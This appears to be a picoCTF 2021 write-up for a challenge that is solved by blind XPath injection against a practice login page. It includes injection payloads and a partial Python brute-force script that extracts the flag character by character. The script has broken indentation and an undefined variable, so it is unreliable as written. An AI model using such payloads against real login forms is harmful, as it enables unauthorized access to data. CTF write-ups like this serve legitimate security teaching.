Tags: injection web xpath

Rating:

Visit [Original writeup](https://docs.abbasmj.com/ctf-writeups/picoctf2021#x-marks-the-spot) for better formatting.

---

**Description:** Another login you have to bypass. Maybe you can find an injection that works?

**Points:** 250

#### **Solution**

The link takes you to a login screen that reads "Only I know the password, and I don't use any of those regular old unsafe query languages!" Let's look at the hint.

**Hint 1:** XPATH

So, this is an XPath injection. This is not like any of the injections before. I tried bypassing the login with always true queries but they do not work, However, There is an interesting message that pops up when I enter an always true booleans like ' or 1=1 or 'a

It says "You're on the right path." I tried to change things a little bit and used a false query like ' and 1=2 and 'a'='a

Now it says "Login failure." This means that it's a Blind XPATH injection which means we have to figure out the username and password using queries. Here we can use **"starts-wth"** operator. Which returns true if the passed characters are at the beginning of a document. We do not know the column names yet so we can use //* which basically means check for all documents $$columns$$. I tried testing it with ' or //*[starts-with(text(),'a')] or 'a'='b which interestingly enough returned true. I tried again with ' or //*[starts-with(text(),'ab')] or 'a'='b which returned false.

We can actually write a script that runs through all the combinations and stacks the successful characters upon success. Here's the Python script that I made

python
import requests
from string import *

charecters = ascii_lowercase + ascii_uppercase + digits+"}_"
print(charecters)

while True:

for ch in charecters:
data = {"name":"admin", "pass":f"' or //*[starts-with(text(),'{st}')] or '1'='"}
r = requests.post("http://mercury.picoctf.net:59946/", data=data)

content = r.text
if "You're on the right path." in content:

I tried running the above script several times before which returned with values like admin, bob, thisisnottheflag then I figured that we are supposed to look for the flag itself, not some password. so I started with the standard starting format picoCTF{ after running for a while, I finally got the full flag.